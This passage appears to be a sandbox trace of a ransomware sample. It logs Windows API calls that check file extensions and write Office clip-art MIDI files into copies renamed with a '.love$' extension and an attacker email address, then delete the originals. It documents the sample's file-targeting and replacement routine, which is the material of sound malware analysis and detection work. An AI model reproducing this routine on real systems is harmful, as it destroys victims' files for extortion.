Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0247.549] lstrlenW (lpString=".dbf") returned 4 [0247.549] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0247.549] lstrlenW (lpString=".1cd") returned 4 [0247.549] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0247.550] lstrlenW (lpString=".jpg") returned 4 [0247.550] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.550] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0247.550] lstrlenW (lpString="PARNT_05.MID") returned 12 [0247.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0247.551] GetFileSizeEx (in: hFile=0x4ec, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=6020) returned 1 [0247.551] CloseHandle (hObject=0x4ec) returned 1 [0247.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 0x220 [0247.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0247.552] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.552] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0247.553] GetLastError () returned 0x0 [0247.553] ReadFile (in: hFile=0x4ec, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x1784, lpOverlapped=0x0) returned 1 [0247.561] WriteFile (in: hFile=0x538, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x1790, lpOverlapped=0x0) returned 1 [0247.562] ReadFile (in: hFile=0x4ec, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.562] WriteFile (in: hFile=0x538, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.562] SetEndOfFile (hFile=0x538) returned 1 [0247.562] CloseHandle (hObject=0x538) returned 1 [0247.562] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.562] SetEndOfFile (hFile=0x4ec) returned 1 [0247.565] CloseHandle (hObject=0x4ec) returned 1 [0247.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 1 [0247.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0247.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0247.567] lstrlenW (lpString=".doc") returned 4 [0247.567] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.567] lstrlenW (lpString=".docx") returned 5 [0247.567] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0247.567] lstrlenW (lpString=".pdf") returned 4 [0247.567] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.567] lstrlenW (lpString=".xls") returned 4 [0247.567] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.567] lstrlenW (lpString=".xlsx") returned 5 [0247.567] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0247.567] lstrlenW (lpString=".ppt") returned 4 [0247.567] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0247.567] lstrlenW (lpString=".zip") returned 4 [0247.567] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.567] lstrlenW (lpString=".rar") returned 4 [0247.567] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.567] lstrlenW (lpString=".bz2") returned 4 [0247.567] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.567] lstrlenW (lpString=".7z") returned 3 [0247.567] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0247.567] lstrlenW (lpString=".dbf") returned 4 [0247.567] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0247.567] lstrlenW (lpString=".1cd") returned 4 [0247.567] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0247.567] lstrlenW (lpString=".jpg") returned 4 [0247.567] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0247.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0247.568] lstrlenW (lpString=".doc") returned 4 [0247.568] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.568] lstrlenW (lpString=".docx") returned 5 [0247.568] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0247.568] lstrlenW (lpString=".pdf") returned 4 [0247.568] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.568] lstrlenW (lpString=".xls") returned 4 [0247.568] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.568] lstrlenW (lpString=".xlsx") returned 5 [0247.568] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0247.568] lstrlenW (lpString=".ppt") returned 4 [0247.568] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0247.568] lstrlenW (lpString=".zip") returned 4 [0247.568] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.568] lstrlenW (lpString=".rar") returned 4 [0247.568] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.568] lstrlenW (lpString=".bz2") returned 4 [0247.568] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.568] lstrlenW (lpString=".7z") returned 3 [0247.568] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0247.568] lstrlenW (lpString=".dbf") returned 4 [0247.568] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0247.568] lstrlenW (lpString=".1cd") returned 4 [0247.568] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0247.568] lstrlenW (lpString=".jpg") returned 4 [0247.568] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.568] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0247.569] lstrlenW (lpString="PARNT_06.MID") returned 12 [0247.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0247.569] GetFileSizeEx (in: hFile=0x4ec, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=7768) returned 1 [0247.570] CloseHandle (hObject=0x4ec) returned 1 [0247.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 0x220 [0247.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0247.570] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.570] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0247.571] GetLastError () returned 0x0 [0247.571] ReadFile (in: hFile=0x4ec, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x1e58, lpOverlapped=0x0) returned 1 [0248.427] WriteFile (in: hFile=0x538, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x1e60, lpOverlapped=0x0) returned 1 [0248.429] ReadFile (in: hFile=0x4ec, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0248.429] WriteFile (in: hFile=0x538, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xec, lpOverlapped=0x0) returned 1 [0248.429] SetEndOfFile (hFile=0x538) returned 1 [0248.429] CloseHandle (hObject=0x538) returned 1 [0248.429] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.429] SetEndOfFile (hFile=0x4ec) returned 1 [0248.433] CloseHandle (hObject=0x4ec) returned 1 [0248.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0248.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 1 [0249.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0249.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0249.097] lstrlenW (lpString=".doc") returned 4 [0249.097] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0249.097] lstrlenW (lpString=".docx") returned 5 [0249.097] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0249.097] lstrlenW (lpString=".pdf") returned 4 [0249.097] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0249.097] lstrlenW (lpString=".xls") returned 4 [0249.097] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0249.097] lstrlenW (lpString=".xlsx") returned 5 [0249.097] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0249.097] lstrlenW (lpString=".ppt") returned 4 [0249.097] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0249.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0249.097] lstrlenW (lpString=".zip") returned 4 [0249.097] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0249.097] lstrlenW (lpString=".rar") returned 4 [0249.097] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0249.097] lstrlenW (lpString=".bz2") returned 4 [0249.097] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0249.097] lstrlenW (lpString=".7z") returned 3 [0249.097] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0249.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0249.098] lstrlenW (lpString=".dbf") returned 4 [0249.098] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0249.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0249.098] lstrlenW (lpString=".1cd") returned 4 [0249.098] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0249.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0249.098] lstrlenW (lpString=".jpg") returned 4 [0249.098] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0249.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0249.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0249.098] lstrlenW (lpString=".doc") returned 4 [0249.098] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0249.098] lstrlenW (lpString=".docx") returned 5 [0249.098] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0249.098] lstrlenW (lpString=".pdf") returned 4 [0249.098] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0249.098] lstrlenW (lpString=".xls") returned 4 [0249.098] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0249.098] lstrlenW (lpString=".xlsx") returned 5 [0249.098] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0249.098] lstrlenW (lpString=".ppt") returned 4 [0249.098] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0249.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0249.098] lstrlenW (lpString=".zip") returned 4 [0249.098] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0249.098] lstrlenW (lpString=".rar") returned 4 [0249.098] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0249.098] lstrlenW (lpString=".bz2") returned 4 [0249.098] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0249.098] lstrlenW (lpString=".7z") returned 3 [0249.098] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0249.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0249.099] lstrlenW (lpString=".dbf") returned 4 [0249.099] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0249.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0249.099] lstrlenW (lpString=".1cd") returned 4 [0249.099] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0249.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0249.099] lstrlenW (lpString=".jpg") returned 4 [0249.099] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0249.099] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0249.099] lstrlenW (lpString="SWEST_01.MID") returned 12 [0249.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0249.100] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=8501) returned 1 [0249.100] CloseHandle (hObject=0x550) returned 1 [0249.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 0x220 [0249.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0249.101] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.101] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0249.103] GetLastError () returned 0x0 [0249.103] ReadFile (in: hFile=0x550, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2135, lpOverlapped=0x0) returned 1 [0249.143] WriteFile (in: hFile=0x554, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2140, lpOverlapped=0x0) returned 1 [0249.144] ReadFile (in: hFile=0x550, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0249.144] WriteFile (in: hFile=0x554, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xec, lpOverlapped=0x0) returned 1 [0249.144] SetEndOfFile (hFile=0x554) returned 1 [0249.144] CloseHandle (hObject=0x554) returned 1 [0249.144] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.144] SetEndOfFile (hFile=0x550) returned 1 [0249.147] CloseHandle (hObject=0x550) returned 1 [0249.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 1 [0249.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0249.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0249.149] lstrlenW (lpString=".doc") returned 4 [0249.149] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0249.149] lstrlenW (lpString=".docx") returned 5 [0249.149] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0249.149] lstrlenW (lpString=".pdf") returned 4 [0249.149] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0249.149] lstrlenW (lpString=".xls") returned 4 [0249.149] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0249.149] lstrlenW (lpString=".xlsx") returned 5 [0249.149] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0249.149] lstrlenW (lpString=".ppt") returned 4 [0249.149] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0249.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0249.149] lstrlenW (lpString=".zip") returned 4 [0249.149] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0249.149] lstrlenW (lpString=".rar") returned 4 [0249.149] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0249.149] lstrlenW (lpString=".bz2") returned 4 [0249.149] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0249.149] lstrlenW (lpString=".7z") returned 3 [0249.149] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0249.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0249.149] lstrlenW (lpString=".dbf") returned 4 [0249.150] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0249.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0249.150] lstrlenW (lpString=".1cd") returned 4 [0249.150] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0249.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0249.150] lstrlenW (lpString=".jpg") returned 4 [0249.150] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0249.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0249.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0249.150] lstrlenW (lpString=".doc") returned 4 [0249.150] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0249.150] lstrlenW (lpString=".docx") returned 5 [0249.150] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0249.150] lstrlenW (lpString=".pdf") returned 4 [0249.150] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0249.150] lstrlenW (lpString=".xls") returned 4 [0249.150] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0249.150] lstrlenW (lpString=".xlsx") returned 5 [0249.150] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0249.150] lstrlenW (lpString=".ppt") returned 4 [0249.150] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0249.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0249.150] lstrlenW (lpString=".zip") returned 4 [0249.150] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0249.150] lstrlenW (lpString=".rar") returned 4 [0249.150] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0249.150] lstrlenW (lpString=".bz2") returned 4 [0249.150] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0249.150] lstrlenW (lpString=".7z") returned 3 [0249.150] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0249.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0249.150] lstrlenW (lpString=".dbf") returned 4 [0249.151] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0249.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0249.151] lstrlenW (lpString=".1cd") returned 4 [0249.151] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0249.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0249.151] lstrlenW (lpString=".jpg") returned 4 [0249.151] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0249.151] lstrcmpiW (lpString1=".MID", 